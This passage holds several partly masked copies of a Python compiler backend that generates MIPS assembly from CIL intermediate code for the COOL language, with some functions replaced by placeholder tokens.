BUILT_IN_CLASSES if f'{x}_' in\n func.name] != []\n if not is_built_in:\n self.visit(func)\n self.write_file('\\n#####################################\\n')\n <function token>\n\n @visitor.when(cil.Type)\n def visit(self, node: cil.Type):\n self.dispatchtable_code.append(f'# Type {node.type_name}')\n self.dispatchtable_code.append('li $a0 {}'.format(4 * len(node.\n methods)))\n self.dispatchtable_code.append('li $v0 9')\n self.dispatchtable_code.append('syscall')\n for i in range(len(node.methods)):\n self.dispatchtable_code.append('la $t1 function_{}'.format(node\n .methods[i].function_name))\n self.dispatchtable_code.append('sw $t1 {}($v0)'.format(4 * i))\n self.dispatchtable_code.append('lw $t0 {}($s0)'.format(8 * self.\n type_index.index(node.type_name)))\n self.dispatchtable_code.append('sw $v0 8($t0)')\n self.dispatchtable_code.append('')\n self.prototypes_code.append(f'# Type {node.type_name}')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('li $v0 9')\n self.prototypes_code.append('syscall')\n class_index = self.type_index.index(node.type_name)\n self.prototypes_code.append('li $a0 {}'.format(class_index))\n self.prototypes_code.append('sw $a0 0($v0)')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('sw $a0 4($v0)')\n self.prototypes_code.append('sw $v0 {}($s0)'.format(8 * class_index))\n self.prototypes_code.append('')\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n @visitor.when(cil.EqualOrLessThan)\n def visit(self, node: cil.EqualOrLessThan):\n self.write_file('# <=')\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a2, {}($fp)'.format(self.offset[node.right]))\n self.write_file('sle $a0, $a1, $a2'.format(self.offset[node.right]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n <function token>\n\n @visitor.when(cil.SetAttrib)\n def visit(self, node: cil.SetAttrib):\n self.write_file('# SETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n if isinstance(node.src, int):\n self.write_file(f'li $a0, {node.src}')\n elif node.src[:5] == 'data_':\n self.write_file(f'la $a0, {node.src}')\n else:\n self.write_file(f'lw $a0 {self.offset[node.src]}($fp)')\n self.write_file(f'sw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file('')\n\n @visitor.when(cil.TypeOf)\n def visit(self, node: cil.TypeOf):\n self.write_file('# TYPEOF')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 0($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n <function token>\n\n @visitor.when(cil.Call)\n def visit(self, node: cil.Call):\n self.write_file('# CALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n self.write_file(f'jal function_{node.f}')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n if node.dest:\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n <function token>\n\n @visitor.when(cil.PushParam)\n def visit(self, node: cil.PushParam):\n self.write_file('# PUSHPARAM')\n if node.name[0] != '_':\n self.write_file('li $a0, {}'.format(self.type_index.index(node.\n name)))\n else:\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.name]))\n self.push()\n self.write_file('')\n\n @visitor.when(cil.PopParam)\n def visit(self, node: cil.PopParam):\n self.write_file('# POPPARAM')\n self.pop(node.name)\n self.write_file('')\n <function token>\n\n @visitor.when(cil.Label)\n def visit(self, node: cil.Label):\n self.write_file('_cil_label_{}:'.format(node.name), tabbed=False)\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n def object_copy(self):\n self.write_file('function_Object_copy:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $t0 12($fp)')\n self.write_file('lw $a0 4($t0)')\n self.write_file('move $t4 $a0')\n self.write_file('li $v0 9')\n self.write_file('syscall')\n self.write_file('move $t2 $v0')\n self.write_file('li $t3 0')\n self.write_file('_objcopy_loop:', tabbed=False)\n self.write_file('lw $t1 0($t0)')\n self.write_file('sw $t1 0($v0)')\n self.write_file('addiu $t0 $t0 4')\n self.write_file('addiu $v0 $v0 4')\n self.write_file('addiu $t3 $t3 4')\n self.write_file('ble $t4 $t3 _objcopy_loop')\n self.write_file('_objcopy_div_end_:', tabbed=False)\n self.write_file('move $v0 $t2')\n self.write_file('jr $ra')\n self.write_file('')\n <function token>\n\n def string_length(self):\n self.write_file('function_String_length:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 12($fp)')\n self.write_file('lw $v0 12($a0)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_concat(self):\n self.write_file('function_String_concat:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $t3 $v0')\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a2 16($fp)')\n self.write_file('lw $t1 12($a1)')\n self.write_file('lw $t1 12($t1)')\n self.write_file('lw $t2 12($a2)')\n self.write_file('lw $t2 12($t2)')\n self.write_file('addu $t0 $t2 $t1')\n self.write_file('sw $t0 12($v1)')\n self.write_file('lw $a1 16($a1)')\n self.write_file('lw $a2 16($a2)')\n self.write_file('addiu $t0 $t0 1')\n self.allocate_memory('$t0', register=True)\n self.write_file('move $t5 $v0')\n self.write_file('move $t4 $a1')\n self.write_file('addu $a1 $a1 $t1')\n self.write_file('_strcat_copy_:', tabbed=False)\n self.write_file('beq $t4 $a1 _end_strcat_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_')\n self.write_file('_end_strcat_copy_:', tabbed=False)\n self.write_file('move $t4 $a2')\n self.write_file('addu $a2 $a2 $t2')\n self.write_file('_strcat_copy_snd_:', tabbed=False)\n self.write_file('beq $t4 $a2 _end_strcat_copy_snd_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_snd_')\n self.write_file('_end_strcat_copy_snd_:', tabbed=False)\n self.write_file('sb $0 0($t5)')\n self.write_file('sw $v1 12($t3)')\n self.write_file('sw $v0 16($t3)')\n self.write_file('move $v0 $t3')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_substr(self):\n self.write_file('function_String_substr:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'lw $t5 12($fp)')\n self.write_file(f'lw $a1 16($fp)')\n self.write_file(f'lw $a1 12($a1)')\n self.write_file(f'lw $a2 20($fp)')\n self.write_file(f'lw $a2 12($a2)')\n self.write_file(f'blt $a1 $0 _index_negative')\n self.write_file(f'blt $a2 $0 _index_negative')\n self.write_file(f'add $a2 $a1 $a2')\n self.write_file(f'lw $a3 12($t5)')\n self.write_file(f'lw $a3 12($a3)')\n self.write_file(f'bgt $a2 $a3 _index_out')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file(f'move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file(f'move $t0 $v0')\n self.write_file(f'move $t7 $a2')\n self.write_file(f'subu $t7 $t7 $a1')\n self.write_file(f'sw $t7 12($t0)')\n self.allocate_memory('$a2', register=True)\n self.write_file(f'sw $t0 12($v1)')\n self.write_file(f'sw $v0 16($v1)')\n self.write_file('move $t1 $v0')\n self.write_file('lw $t5 16($t5)')\n self.write_file('move $t4 $t5')\n self.write_file('addu $t4 $t4 $a1')\n self.write_file('addu $t5 $t5 $a2')\n self.write_file('_substr_copy_:', tabbed=False)\n self.write_file('bge $t4 $t5 _end_substr_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t1)')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _substr_copy_')\n self.write_file(f'_index_negative:', tabbed=False)\n self.write_file(f'la $a0 _index_negative_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_index_out:', tabbed=False)\n self.write_file(f'la $a0 _index_out_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_subst_abort:', tabbed=False)\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file('la\\t$a0 _abort_msg')\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file(f'li $v0 10')\n self.write_file(f'syscall')\n self.write_file('_end_substr_copy_:', tabbed=False)\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n",
"<docstring token>\n<import token>\n<code token>\n<import token>\n\n\nclass MipsVisitor:\n <docstring token>\n\n def __init__(self, inherit_graph, output_file='mips_code.mips'):\n self.inherit_graph, _ = inherit_graph\n self.offset = dict()\n self.type_index = []\n self.dispatchtable_code = []\n self.prototypes_code = []\n self.cur_labels_id = 0\n self.output_file = output_file\n <function token>\n <function token>\n\n def write_file(self, msg, mode='a', tabbed=True):\n f = open(self.output_file, mode)\n f.write('{}{}\\n'.format('\\t' if tabbed else '', msg))\n f.close()\n\n def allocate_memory(self, size=None, register=False):\n if register:\n self.write_file('move $a0 {}'.format(size))\n elif size:\n self.write_file('li $a0 {}'.format(size))\n self.write_file('li $v0 9')\n self.write_file('syscall')\n <function token>\n <function token>\n\n @visitor.when(cil.Program)\n def visit(self, node: cil.Program):\n self.write_file('', 'w')\n self.write_file('.data', tabbed=False)\n self.static_datas()\n for data in node.data_section:\n self.visit(data)\n self.write_file('')\n for i in range(len(node.type_section)):\n self.type_index.append(node.type_section[i].type_name)\n self.write_file('classname_{}: .asciiz \"{}\"'.format(node.\n type_section[i].type_name, node.type_section[i].type_name))\n self.write_file(f'{VOID_MIPS_NAME}: .asciiz \"\"')\n self.write_file('\\n.text')\n self.entry()\n self.write_file('\\n########## STATIC FUNCTIONS ##########\\n')\n self.conforms()\n self.isvoid()\n self.object_abort()\n self.object_copy()\n self.object_typename()\n self.string_length()\n self.string_concat()\n self.string_substr()\n self.io_in_int()\n self.io_in_string()\n self.io_out_int()\n self.io_out_string()\n for t in node.type_section:\n self.visit(t)\n self.write_file('\\n############## TABLES ################\\n')\n self.write_file('function_build_class_name_table:', tabbed=False)\n self.allocate_memory(len(node.type_section) * 4)\n self.write_file('move $s1 $v0')\n for i in range(len(node.type_section)):\n self.write_file('la $t1 classname_{}'.format(node.type_section[\n i].type_name))\n self.write_file('sw $t1 {}($s1)'.format(4 * i))\n self.write_file('')\n self.write_file('function_allocate_prototypes_table:', tabbed=False)\n self.allocate_memory(8 * len(self.type_index))\n self.write_file('move $s0 $v0')\n self.write_file('')\n self.write_file('function_build_prototypes:', tabbed=False)\n for ins in self.prototypes_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_dispatch_tables:', tabbed=False)\n for ins in self.dispatchtable_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_class_parents_table:', tabbed=False)\n self.allocate_memory(4 * len(self.type_index))\n self.write_file('move $s2 $v0')\n self.write_file('')\n for parent in self.inherit_graph.keys():\n p_index = self.type_index.index(parent)\n for child in self.inherit_graph[parent]:\n ch_index = self.type_index.index(child.name)\n self.write_file(f'li $t0 {ch_index}')\n self.write_file(f'mul $t0 $t0 4')\n self.write_file(f'add $t0 $t0 $s2')\n self.write_file(f'li $t1 {p_index}')\n self.write_file(f'sw $t1 0($t0)')\n self.write_file('')\n self.write_file('')\n self.write_file('\\n########### COOL FUNCTIONS ##########\\n')\n for func in node.code_section:\n is_built_in = False\n if not INIT_CIL_SUFFIX in func.name:\n is_built_in = [x for x in BUILT_IN_CLASSES if f'{x}_' in\n func.name] != []\n if not is_built_in:\n self.visit(func)\n self.write_file('\\n#####################################\\n')\n <function token>\n\n @visitor.when(cil.Type)\n def visit(self, node: cil.Type):\n self.dispatchtable_code.append(f'# Type {node.type_name}')\n self.dispatchtable_code.append('li $a0 {}'.format(4 * len(node.\n methods)))\n self.dispatchtable_code.append('li $v0 9')\n self.dispatchtable_code.append('syscall')\n for i in range(len(node.methods)):\n self.dispatchtable_code.append('la $t1 function_{}'.format(node\n .methods[i].function_name))\n self.dispatchtable_code.append('sw $t1 {}($v0)'.format(4 * i))\n self.dispatchtable_code.append('lw $t0 {}($s0)'.format(8 * self.\n type_index.index(node.type_name)))\n self.dispatchtable_code.append('sw $v0 8($t0)')\n self.dispatchtable_code.append('')\n self.prototypes_code.append(f'# Type {node.type_name}')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('li $v0 9')\n self.prototypes_code.append('syscall')\n class_index = self.type_index.index(node.type_name)\n self.prototypes_code.append('li $a0 {}'.format(class_index))\n self.prototypes_code.append('sw $a0 0($v0)')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('sw $a0 4($v0)')\n self.prototypes_code.append('sw $v0 {}($s0)'.format(8 * class_index))\n self.prototypes_code.append('')\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n @visitor.when(cil.EqualOrLessThan)\n def visit(self, node: cil.EqualOrLessThan):\n self.write_file('# <=')\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a2, {}($fp)'.format(self.offset[node.right]))\n self.write_file('sle $a0, $a1, $a2'.format(self.offset[node.right]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n <function token>\n\n @visitor.when(cil.SetAttrib)\n def visit(self, node: cil.SetAttrib):\n self.write_file('# SETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n if isinstance(node.src, int):\n self.write_file(f'li $a0, {node.src}')\n elif node.src[:5] == 'data_':\n self.write_file(f'la $a0, {node.src}')\n else:\n self.write_file(f'lw $a0 {self.offset[node.src]}($fp)')\n self.write_file(f'sw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file('')\n\n @visitor.when(cil.TypeOf)\n def visit(self, node: cil.TypeOf):\n self.write_file('# TYPEOF')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 0($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n <function token>\n\n @visitor.when(cil.Call)\n def visit(self, node: cil.Call):\n self.write_file('# CALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n self.write_file(f'jal function_{node.f}')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n if node.dest:\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n <function token>\n\n @visitor.when(cil.PushParam)\n def visit(self, node: cil.PushParam):\n self.write_file('# PUSHPARAM')\n if node.name[0] != '_':\n self.write_file('li $a0, {}'.format(self.type_index.index(node.\n name)))\n else:\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.name]))\n self.push()\n self.write_file('')\n\n @visitor.when(cil.PopParam)\n def visit(self, node: cil.PopParam):\n self.write_file('# POPPARAM')\n self.pop(node.name)\n self.write_file('')\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n def object_copy(self):\n self.write_file('function_Object_copy:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $t0 12($fp)')\n self.write_file('lw $a0 4($t0)')\n self.write_file('move $t4 $a0')\n self.write_file('li $v0 9')\n self.write_file('syscall')\n self.write_file('move $t2 $v0')\n self.write_file('li $t3 0')\n self.write_file('_objcopy_loop:', tabbed=False)\n self.write_file('lw $t1 0($t0)')\n self.write_file('sw $t1 0($v0)')\n self.write_file('addiu $t0 $t0 4')\n self.write_file('addiu $v0 $v0 4')\n self.write_file('addiu $t3 $t3 4')\n self.write_file('ble $t4 $t3 _objcopy_loop')\n self.write_file('_objcopy_div_end_:', tabbed=False)\n self.write_file('move $v0 $t2')\n self.write_file('jr $ra')\n self.write_file('')\n <function token>\n\n def string_length(self):\n self.write_file('function_String_length:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 12($fp)')\n self.write_file('lw $v0 12($a0)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_concat(self):\n self.write_file('function_String_concat:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $t3 $v0')\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a2 16($fp)')\n self.write_file('lw $t1 12($a1)')\n self.write_file('lw $t1 12($t1)')\n self.write_file('lw $t2 12($a2)')\n self.write_file('lw $t2 12($t2)')\n self.write_file('addu $t0 $t2 $t1')\n self.write_file('sw $t0 12($v1)')\n self.write_file('lw $a1 16($a1)')\n self.write_file('lw $a2 16($a2)')\n self.write_file('addiu $t0 $t0 1')\n self.allocate_memory('$t0', register=True)\n self.write_file('move $t5 $v0')\n self.write_file('move $t4 $a1')\n self.write_file('addu $a1 $a1 $t1')\n self.write_file('_strcat_copy_:', tabbed=False)\n self.write_file('beq $t4 $a1 _end_strcat_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_')\n self.write_file('_end_strcat_copy_:', tabbed=False)\n self.write_file('move $t4 $a2')\n self.write_file('addu $a2 $a2 $t2')\n self.write_file('_strcat_copy_snd_:', tabbed=False)\n self.write_file('beq $t4 $a2 _end_strcat_copy_snd_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_snd_')\n self.write_file('_end_strcat_copy_snd_:', tabbed=False)\n self.write_file('sb $0 0($t5)')\n self.write_file('sw $v1 12($t3)')\n self.write_file('sw $v0 16($t3)')\n self.write_file('move $v0 $t3')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_substr(self):\n self.write_file('function_String_substr:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'lw $t5 12($fp)')\n self.write_file(f'lw $a1 16($fp)')\n self.write_file(f'lw $a1 12($a1)')\n self.write_file(f'lw $a2 20($fp)')\n self.write_file(f'lw $a2 12($a2)')\n self.write_file(f'blt $a1 $0 _index_negative')\n self.write_file(f'blt $a2 $0 _index_negative')\n self.write_file(f'add $a2 $a1 $a2')\n self.write_file(f'lw $a3 12($t5)')\n self.write_file(f'lw $a3 12($a3)')\n self.write_file(f'bgt $a2 $a3 _index_out')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file(f'move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file(f'move $t0 $v0')\n self.write_file(f'move $t7 $a2')\n self.write_file(f'subu $t7 $t7 $a1')\n self.write_file(f'sw $t7 12($t0)')\n self.allocate_memory('$a2', register=True)\n self.write_file(f'sw $t0 12($v1)')\n self.write_file(f'sw $v0 16($v1)')\n self.write_file('move $t1 $v0')\n self.write_file('lw $t5 16($t5)')\n self.write_file('move $t4 $t5')\n self.write_file('addu $t4 $t4 $a1')\n self.write_file('addu $t5 $t5 $a2')\n self.write_file('_substr_copy_:', tabbed=False)\n self.write_file('bge $t4 $t5 _end_substr_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t1)')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _substr_copy_')\n self.write_file(f'_index_negative:', tabbed=False)\n self.write_file(f'la $a0 _index_negative_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_index_out:', tabbed=False)\n self.write_file(f'la $a0 _index_out_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_subst_abort:', tabbed=False)\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file('la\\t$a0 _abort_msg')\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file(f'li $v0 10')\n self.write_file(f'syscall')\n self.write_file('_end_substr_copy_:', tabbed=False)\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n",
"<docstring token>\n<import token>\n<code token>\n<import token>\n\n\nclass MipsVisitor:\n <docstring token>\n\n def __init__(self, inherit_graph, output_file='mips_code.mips'):\n self.inherit_graph, _ = inherit_graph\n self.offset = dict()\n self.type_index = []\n self.dispatchtable_code = []\n self.prototypes_code = []\n self.cur_labels_id = 0\n self.output_file = output_file\n <function token>\n <function token>\n\n def write_file(self, msg, mode='a', tabbed=True):\n f = open(self.output_file, mode)\n f.write('{}{}\\n'.format('\\t' if tabbed else '', msg))\n f.close()\n\n def allocate_memory(self, size=None, register=False):\n if register:\n self.write_file('move $a0 {}'.format(size))\n elif size:\n self.write_file('li $a0 {}'.format(size))\n self.write_file('li $v0 9')\n self.write_file('syscall')\n <function token>\n <function token>\n\n @visitor.when(cil.Program)\n def visit(self, node: cil.Program):\n self.write_file('', 'w')\n self.write_file('.data', tabbed=False)\n self.static_datas()\n for data in node.data_section:\n self.visit(data)\n self.write_file('')\n for i in range(len(node.type_section)):\n self.type_index.append(node.type_section[i].type_name)\n self.write_file('classname_{}: .asciiz \"{}\"'.format(node.\n type_section[i].type_name, node.type_section[i].type_name))\n self.write_file(f'{VOID_MIPS_NAME}: .asciiz \"\"')\n self.write_file('\\n.text')\n self.entry()\n self.write_file('\\n########## STATIC FUNCTIONS ##########\\n')\n self.conforms()\n self.isvoid()\n self.object_abort()\n self.object_copy()\n self.object_typename()\n self.string_length()\n self.string_concat()\n self.string_substr()\n self.io_in_int()\n self.io_in_string()\n self.io_out_int()\n self.io_out_string()\n for t in node.type_section:\n self.visit(t)\n self.write_file('\\n############## TABLES ################\\n')\n self.write_file('function_build_class_name_table:', tabbed=False)\n self.allocate_memory(len(node.type_section) * 4)\n self.write_file('move $s1 $v0')\n for i in range(len(node.type_section)):\n self.write_file('la $t1 classname_{}'.format(node.type_section[\n i].type_name))\n self.write_file('sw $t1 {}($s1)'.format(4 * i))\n self.write_file('')\n self.write_file('function_allocate_prototypes_table:', tabbed=False)\n self.allocate_memory(8 * len(self.type_index))\n self.write_file('move $s0 $v0')\n self.write_file('')\n self.write_file('function_build_prototypes:', tabbed=False)\n for ins in self.prototypes_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_dispatch_tables:', tabbed=False)\n for ins in self.dispatchtable_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_class_parents_table:', tabbed=False)\n self.allocate_memory(4 * len(self.type_index))\n self.write_file('move $s2 $v0')\n self.write_file('')\n for parent in self.inherit_graph.keys():\n p_index = self.type_index.index(parent)\n for child in self.inherit_graph[parent]:\n ch_index = self.type_index.index(child.name)\n self.write_file(f'li $t0 {ch_index}')\n self.write_file(f'mul $t0 $t0 4')\n self.write_file(f'add $t0 $t0 $s2')\n self.write_file(f'li $t1 {p_index}')\n self.write_file(f'sw $t1 0($t0)')\n self.write_file('')\n self.write_file('')\n self.write_file('\\n########### COOL FUNCTIONS ##########\\n')\n for func in node.code_section:\n is_built_in = False\n if not INIT_CIL_SUFFIX in func.name:\n is_built_in = [x for x in BUILT_IN_CLASSES if f'{x}_' in\n func.name] != []\n if not is_built_in:\n self.visit(func)\n self.write_file('\\n#####################################\\n')\n <function token>\n\n @visitor.when(cil.Type)\n def visit(self, node: cil.Type):\n self.dispatchtable_code.append(f'# Type {node.type_name}')\n self.dispatchtable_code.append('li $a0 {}'.format(4 * len(node.\n methods)))\n self.dispatchtable_code.append('li $v0 9')\n self.dispatchtable_code.append('syscall')\n for i in range(len(node.methods)):\n self.dispatchtable_code.append('la $t1 function_{}'.format(node\n .methods[i].function_name))\n self.dispatchtable_code.append('sw $t1 {}($v0)'.format(4 * i))\n self.dispatchtable_code.append('lw $t0 {}($s0)'.format(8 * self.\n type_index.index(node.type_name)))\n self.dispatchtable_code.append('sw $v0 8($t0)')\n self.dispatchtable_code.append('')\n self.prototypes_code.append(f'# Type {node.type_name}')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('li $v0 9')\n self.prototypes_code.append('syscall')\n class_index = self.type_index.index(node.type_name)\n self.prototypes_code.append('li $a0 {}'.format(class_index))\n self.prototypes_code.append('sw $a0 0($v0)')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('sw $a0 4($v0)')\n self.prototypes_code.append('sw $v0 {}($s0)'.format(8 * class_index))\n self.prototypes_code.append('')\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n @visitor.when(cil.EqualOrLessThan)\n def visit(self, node: cil.EqualOrLessThan):\n self.write_file('# <=')\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a2, {}($fp)'.format(self.offset[node.right]))\n self.write_file('sle $a0, $a1, $a2'.format(self.offset[node.right]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n <function token>\n\n @visitor.when(cil.SetAttrib)\n def visit(self, node: cil.SetAttrib):\n self.write_file('# SETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n if isinstance(node.src, int):\n self.write_file(f'li $a0, {node.src}')\n elif node.src[:5] == 'data_':\n self.write_file(f'la $a0, {node.src}')\n else:\n self.write_file(f'lw $a0 {self.offset[node.src]}($fp)')\n self.write_file(f'sw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file('')\n\n @visitor.when(cil.TypeOf)\n def visit(self, node: cil.TypeOf):\n self.write_file('# TYPEOF')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 0($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n <function token>\n\n @visitor.when(cil.Call)\n def visit(self, node: cil.Call):\n self.write_file('# CALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n self.write_file(f'jal function_{node.f}')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n if node.dest:\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n <function token>\n\n @visitor.when(cil.PushParam)\n def visit(self, node: cil.PushParam):\n self.write_file('# PUSHPARAM')\n if node.name[0] != '_':\n self.write_file('li $a0, {}'.format(self.type_index.index(node.\n name)))\n else:\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.name]))\n self.push()\n self.write_file('')\n\n @visitor.when(cil.PopParam)\n def visit(self, node: cil.PopParam):\n self.write_file('# POPPARAM')\n self.pop(node.name)\n self.write_file('')\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n def string_length(self):\n self.write_file('function_String_length:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 12($fp)')\n self.write_file('lw $v0 12($a0)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_concat(self):\n self.write_file('function_String_concat:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $t3 $v0')\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a2 16($fp)')\n self.write_file('lw $t1 12($a1)')\n self.write_file('lw $t1 12($t1)')\n self.write_file('lw $t2 12($a2)')\n self.write_file('lw $t2 12($t2)')\n self.write_file('addu $t0 $t2 $t1')\n self.write_file('sw $t0 12($v1)')\n self.write_file('lw $a1 16($a1)')\n self.write_file('lw $a2 16($a2)')\n self.write_file('addiu $t0 $t0 1')\n self.allocate_memory('$t0', register=True)\n self.write_file('move $t5 $v0')\n self.write_file('move $t4 $a1')\n self.write_file('addu $a1 $a1 $t1')\n self.write_file('_strcat_copy_:', tabbed=False)\n self.write_file('beq $t4 $a1 _end_strcat_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_')\n self.write_file('_end_strcat_copy_:', tabbed=False)\n self.write_file('move $t4 $a2')\n self.write_file('addu $a2 $a2 $t2')\n self.write_file('_strcat_copy_snd_:', tabbed=False)\n self.write_file('beq $t4 $a2 _end_strcat_copy_snd_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 